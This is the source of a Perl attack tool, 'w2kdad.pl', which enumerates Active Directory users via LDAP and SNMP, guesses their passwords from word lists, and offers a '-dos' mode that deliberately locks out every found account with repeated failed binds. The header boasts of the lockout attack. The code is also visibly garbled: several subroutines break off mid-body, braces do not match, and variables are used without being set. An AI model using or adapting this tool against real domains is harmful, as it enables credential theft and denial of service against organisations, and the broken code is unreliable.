The following tool is able to enumerate users and passwords found under the native Windows Active Directory.
#!C:/Perl/Bin/perl -w
# Author: Wiseman (wiseman@spray.se)
# Filename: w2kdad.pl
# Current Version: 0.94beta
# Created: 10th of December 2002
# Last Changed: 17th of March 2003
# -------------------------------------------------------------------------
# Description:
# ------------------------------------------------------------------------
# W2kdad.pl or "Windows 2000 Dictionary Attacker Against Active Directory"
# for long, lets you enumerate users and check passwords in a
# native W2k AD.
#
# There's an option to use SNMP to gather userdata as well as a DoS option
# that may or may not- depending on the lockoutsettings in the domain! -
# lock out selected users. Very useful! <evil grin>
# You should check the lockout setting with the tool "enum" from
# http://razor.bindview.com before you decide whether a DoS will work or not.
#
# Caution!: Depending on the lockoutsettings normal operation of this
# script *may* lock out accounts. You have been officialy warned now so
# don't blame me if this happens to you. Check my disclaimer btw!
# It is *not* my fault - ever! :o)
#
# ------------------------------------------------------------------------
# Change History
# ------------------------------------------------------------------------
# 0.94beta:
# First bugs found...tried to bind as $username instead of $base_dn
# Code still not cleaned properly and there are some quirks left to fix.
# Some outcommented code still lingers.
# This will be gone to version 1.0...promise!
# *LoL*
#
# The -dos mode works quite well, seemed to lockout Administrator too...
# Shouldn't work actually and I didn't really dare to verify this by
# logging out and logging in again as Administrator...
#
# I didn't really want to lockout myself...
# If you feel to verify this be my guest. Don't blame me if it screws up
# though...
#
#
# 0.93beta:
# Added Denial of Service switch "-dos", output switch "-o" and cleaned
# up the code a little. There are still outcommented code to be cleaned up
# later! Probably there also are some bugs waiting to be found
# but I deal with them later too, bro...
#
#
# 0.92beta:
# Messed around with several Perl SNMP-modules an entire afternoon to get
# SNMP functionality to work, but in the end I just thought "What the h*ck"
# and used Microsofts own tool "snmputil" instead. It's simple and it works,
# so I'm happy now...
#
#
# 0.91beta:
# Got the actual enumeration and password part to work. There are issues
# not corrected yet and this is still beta. I found out that failed LDAP
# authentication *do* trigger lock-outs making this an excellent DoS tool
# too! <evil grin>
#
# There are still outcommented stuff in the code for testing-purposes.
# This will be removed when going to version 1.0, whenever that now
# happens...live with it for the moment.
#
# 0.9beta:
# The Getopt::std module really screwed things up. I wanted a change
# from my older Perl-scripts that used Getopt::Long to use a more neat
# approach but no! The ::std module did not work as it was documented, it
# didn't for instance assign a "1" to all options that had no argument
# so they became unassigned instead, resulting in some nasty error-
# messages. (But the program still worked as intended. Go figure...)
# So back again to ::Long. Oh well....
#
# 0.5beta:
# First version with no LDAP functionality
#
# ------------------------------------------------------------------------
# Known Issues
# ------------------------------------------------------------------------
# 1: There is a strange thing going on with the default Domain Admin account
# Administrator: When I use Microsofts own LDP.exe I am able to bind as
# Administrator and everything seems OK, but when I am trying this with
# the script it does not work. Heaven knows why. The script works on other
# user account OK, but Administrator...nope....Hopefully I fix this
# in version 1.0...Stay tuned...
#
# 2: Checks for a blank password fails for some reason. Will try to
# fix this in 1.0.
#
# ------------------------------------------------------------------------
# Credits
# ------------------------------------------------------------------------
# Credit goes to Johnny at http://johnny.ihackstuff.com
# (johnny@ihackstuff.com) for giving me the original idea and
# a .c-code listing for a similar utility to build upon.
# I merely rewrote it in Perl with a twist. I added SNMP support and
# an option to "DoS" the AD users. Oh well...
#
# ------------------------------------------------------------------------
# Dependencies
# ------------------------------------------------------------------------
# For W2kdad.pl to work you need the following Perl modules:
# LDAP:
# search.cpan.org/author/GBARR/perl-ldap-0.26/
# search.cpan.org/author/GBARR/Convert-ASN1-0.16/
# SNMP:
# Microsoft's "snmputil" from NT Resource Kit
# "snmputil" is not included in this release, so you have to get it yourself.
# If you don't have the NTRK, try
# http://www.petri.co.il/download_free_reskit_tools.htm
#
#
# ------------------------------------------------------------------------
# The Usual Disclaimer:
# ------------------------------------------------------------------------
# This script is written AS-IS and will not be supported
# Wiseman is not responsible for the script's misuse and is not responsible
# for any damage resulting from running this script.
# It is *not* my fault so stop complaining
#
# ------------------------------------------------------------------------
use strict;
use Getopt::Long;
use Net::LDAP;
######################################
# Definitions of some global arrays and flags #
# Oh, you don't think global arrays and flags are good programming? #
# Aha, ok, I see, Uh-huh... #
######################################
my @users_to_verify;
my @verified_users;
my @verified_users_and_passwords;
my @passwords_to_verify;
my $wisemans_app = "==| W2kdad.pl v. 0.94beta by Wiseman \(wiseman\@spray.se\) |==";
my $snmp_ok=0;
# Default we do want to check passwords, but Getopt assign a "1" if the
# -nopw is present so I turn this around. An "1" means don't check
# passwords, an "0" means check passwords. Default is "0"
# Oh how confusing this is!
my $checkpw=0;
# Default we do not want to DoS users! Getopt assign a "1" if the
# -dos is present
######################################
# Show_Syntax #
# Description: #
# Shows the Syntax. Like you haven't guessed that already! #
######################################
sub Show_Syntax {
print "\nSyntax:\n";
print "-------\n";
print "W2kdad.pl -h <IP-address> -d <domain name> [-o <filename> -u <filename> -p <filenmame> -s <community> -nopw -dos]\n";
print "\n";
print "Mandatory switches:\n";
print "-------------------\n";
print " -h <IP-address> : IP-address of target host\n";
print " -d <domain name>: The domain name of the target:\n";
print " : Only a domain name like \"target.com\n";
print " : is supported in this version of W2kdad\n";
print "\n";
print "Optional switches:\n";
print "------------------\n";
print " -o <filename> : Name of outputfile\n";
print " -u <filename> : Name of file with usernames to enumerate\n";
print " -p <filename> : Name of passwordfile\n";
print " -s <community> : Use SNMP to enumerate users\n";
print " : (You must provide a community name for -s to work)\n";
print " -nopw : Do not test passwords, just enumerate users\n";
print " -dos : Try to DoS ie lockout all users found.\n";
print " : This works best in combination with the -s switch\n";
print " : (The -dos switch is not compatible with the -nopw switch)\n";
die ("\n");
} # End of subroutine Show_Syntax
#####################################
# End of Subroutine LoadPasswordFile #
######################################
######################################
# IP_check #
# Description: #
# IP_check checks the IP-address and returns "1" for a valid IP-address #
# or "0" for an invalid IP-address to the calling routine #
######################################
sub IP_check {
##################################
## Declare local variables start
##################################
my $A;
my $B;
my $C;
my $D;
my $IP_address;
my $error=0;
my $success=1;
my @number_of_groups;
##################################
## Declare local variables end
##################################
# Grab the IP-address to scan
$IP_address = <@_>;
# Check that the IP-address consists of 4 groups divided by dots
# For some reason Perl wants an array here, instead of a scalar otherwise
# a strange errormessage shows up. Oh well...array it is then.
@number_of_groups = split(/\./,$IP_address);
# This is if 1
if ( @number_of_groups < 4 ) {
# If the IP-address provided does not have at least four groups return
# an error
return($error);
} # End if 1
# Now we split the IP-address into components
# If we hadn't checked the correct length of the IP-address above
# some of the vars could have ended up uninitialized and we don't want that
($A, $B, $C, $D) = split(/\./,$IP_address);
# Check that $A - $D are digits only *and* > 0 and < 256
# This is if 2
if (($A=~m/\D/) || ($B=~m/\D/) || ($C=~m/\D/) || ($D=~m/\D/)) {
# If either of the values are not digits return with errorcode
return($error);
} # End if 2
# If we come here there are indeed only digits in $A - $D, but are they valid?
# This is if 3
if (($A < 0 || $A > 255) || ($B < 0 || $B > 255) || ($C < 0 || $C > 255) || ($D < 0 || $D > 255)) {
# If either of the values are not in correct range return with errorcode
return($error);
} # End if 3
# If we come here the digits in $A-$D are valid for an IP-address
return($success);
} # End of subroutine IP_check
######################################
# End of Subroutine IP_check #
######################################
######################################
# SNMP_enumerate #
# Description: #
# SNMP_enumerate tries to get all the users through SNMP before #
# dictionary attack begins. #
# #
######################################
sub SNMP_enumerate {
##################################
## Declare local variables start
##################################
my $host;
my $community;
my $error=0;
my $success=1;
my @snmputil_output;
my $s_output;
my $junk;
my $username;
##################################
## Declare local variables end
##################################
# Put the host and communnity string passed to this subroutine
# in the local var $host and $community
($host, $community) = <@_>;
# Run SNMPutil to walk MIB-tree
#
open(SNMPUTIL, "snmputil walk $host $community .1.3.6.1.4.1.77.1.2.25 2>&1 |");
@snmputil_output = <SNMPUTIL>;
# Check output from SNMPutil
# This is foreach 1
foreach(@snmputil_output) {
$s_output = $_;
# The global flag $snmp_ok is *only* set iff the word "String" is found
# which btw indicates that the target answers to snmp requests and that the
# commuity string is correct. All other results from snmputil will result
# in a negative $snmp_ok flag.
print "\n--| SNMP enumeration failed! Falling back to supplied file with usernames or internal userlist\n";
} # End if 2
} # End of subroutine SNMP_enumerate
######################################
# End of Subroutine SNMP_enumerate #
######################################
######################################
# File_parser #
# Description: #
# File_parser checks and loads files to use. #
######################################
sub File_parser {
##################################
## Declare local variables start
##################################
my $userfile;
my $userfile_size;
my $passwordfile;
my $passwordfile_size;
my $user;
my $password;
##################################
## Declare local variables end
##################################
# Put the values passed to this subroutine (by main)
# in the local vars $userfile and $passwordfile
($userfile, $passwordfile) = <@_>;
# Check that the user really provided us with filenames.
# If not the names will be "EmptyFilename" and we will use default lists instead
# This is if 1 - Check whether SNMP was used and all went well
# If this is the case, we do not need to load a file with usernames
# or supply our own internal list. SNMP will give us *all* users anyway
if (!$snmp_ok) {
# This is if 2
if ($userfile eq "EmptyFilename") {
# If the user did not give us a filename, we preload the array with
# some usernames of our own
######################################
# End of Subroutine File_parser #
######################################
######################################
# Output_file_writer #
# Description: #
# Output_file_writer writes the results to a file #
######################################
sub Output_file_writer {
##################################
## Declare local variables start
##################################
my $outputfile;
my $temp;
##################################
## Declare local variables end
##################################
# Put the values passed to this subroutine
# in the local var $outputfile
($outputfile) = <@_>;
# If the user did not provide a filename the filename not the name
# will be "EmptyFilename"
print "\n--| Writing results to file $outputfile...";
# Open file for writing. Careful! No error checking yet!
######################################
# End of Subroutine Output_file_writer #
######################################
######################################
# Scan_engine #
# Description: #
# Scan_engine performs the scanning for us #
######################################
sub Scan_engine {
##################################
## Declare local variables start
##################################
my $host;
my $domain;
my $domain_part1;
my $domain_part2;
my $ldap;
my $status;
my $mesg;
my @entries;
my $base_dn;
my $username;
my $entry;
my $foundflag;
my $password;
my $counter;
my $success;
my $doscounter;
# In $passwordarraysize the size of the @passwors_to_verify is saved, used later on
# in the While clause.
my $passwordarraysize=@passwords_to_verify;
##################################
## Declare local variables end
##################################
# Put the host passed to this subroutine (by main)
# in the local var $host
($host, $domain) = <@_>;
# Split $domain into two parts for the search to work
# Right now this script only supports a domain name like
# "target.com" with 1 dot. If domain is test.target.com
# things will probably go haywire...
# Get the errorcode
# An errorcode of 0 indicates that a user *does* exist in the directory
# An errorcode of 32 indicates that user *does not* exist in the directory
# If we receve any other errorcode we bail out!
$foundflag = ($mesg->code);
# This is if 2
if ( $foundflag == 0 ) {
print "$username\n";
# If user is found copy the username to the array @verified_users
$verified_users[++$#verified_users] = $username;
} # End if 2
# This is if 3
if ((!$foundflag == 0 ) && (!$foundflag == 32 )) {
print("\n--| Aborting! LDAP Errorcode=");
die ($mesg->code);
} # End if 3
} # End foreach 1
} else {
print "\n--| The following usernames are verified with SNMP:\n\n";
# This is foreach 2
foreach (@verified_users) {
$username = $_;
print "$username\n";
} # End foreach 2
} # End if 1
##################################
# Enumerate verified users with passwords from list or file
##################################
# Only proceed with password enumeration iff -nopw was not used
if (!$checkpw) {
# This is foreach 3
#
foreach (@verified_users) {
$username = $_;
$base_dn = "CN=$username,CN=Users,DC=$domain_part1,DC=$domain_part2";
# Reset $counter and $success
$counter=0;
$success=0;
# If DoS mode is selected don't do the following checks!
if (!$dos_ok) {
print "\n--| Enumerating passwords for $username\n";
# These is a special case! Check with a password that is the same as the useraccount!
# Password = Username
$mesg = $ldap->bind( $base_dn, password => $username, version => 3 );
$foundflag = ($mesg->code);
# print "Foundflag USername is Password:$foundflag\n";
if ( $foundflag == 0 ){
print "\nUser: $username, Password=$username\n";
# If users PW is found copy the username *and* PW to the array @verified_users
$verified_users_and_passwords[++$#verified_users_and_passwords] = $username."\/".$username;
# $ldap->unbind;
$success=1;
}
# This is while 1
while (($success==0) && ($counter < $passwordarraysize)) {
# If users PW is found copy the username *and* PW to the array @verified_users
$verified_users_and_passwords[++$#verified_users_and_passwords] = $username."\/".$password;
} # End if 3
# Increment counter
$counter++;
} # End while 1
} else {
# DoS Away! We don't care about $mesg here...
# 200 attempts should be enough...
print "\n--| DoS: Trying to lockout user: $username\n";
for ($doscounter = 0; $doscounter <200; $doscounter++ ) {
$mesg = $ldap->bind( $base_dn, password => "DoS_Away!", version => 3 );
} # End for loop
} # End if
} # End foreach 3
} else {
print "\n--| No passwords will be enumerated due to -nopw switch\n";
}
} # End of subroutine Scan_engine
######################################
# End of Scan_engine #
######################################
######################################
# Start of main program #
######################################
print "\n$wisemans_app\n";
##################################
## Declare local variables start
##################################
my $numberofargs = @ARGV;
my $host;
my $domain;
my $outputfile="EmptyFilename";
my $passwordfile="EmptyFilename";
my $userfile="EmptyFilename";
my $success;
my $community="EmptyCommunity";
##################################
## Declare local variables end
##################################
if ($numberofargs < 3) {
&Show_Syntax;
} # End if
# If we get here the correct *number* of arguments were given.
# We have not yet seen that it is the *correct* arguments that have been
# given by the user
# If wrong switches were given we die with Syntax errormessage
# $Success is 1 if all i OK, 0 or null otherwise
if (!$success) {
&Show_Syntax();
} # End if
# Check that the IP-address provided is correct
# If not die with error-message
$success=IP_check($host);
if ( $success != 1 ) {
print "\n****************************************************************\n";
print "* Error: The switch -h $host is not a valid IP-address.\n";
print "****************************************************************\n";
&Show_Syntax;
}
if (($checkpw == 1) && ($dos_ok == 1)){
print "\n****************************************************************\n";
print "* Error: The switches -nopw and -dos are not compatible!\n";
print "****************************************************************\n";
&Show_Syntax;
}
# Enumerate through SNMP if user wants that
if (!($community eq "EmptyCommunity")) {
&SNMP_enumerate($host,$community);
} # End if
# Parse the files and load them into the global arrays
&File_parser($userfile, $passwordfile);
# Call the Scan_engine to do the work!
# Calling the Scan_engine! Come in Scan_engine!
&Scan_engine($host, $domain);
# Check if user wants to write to file
if (!($outputfile eq "EmptyFilename")) {
&Output_file_writer($outputfile);
} # End if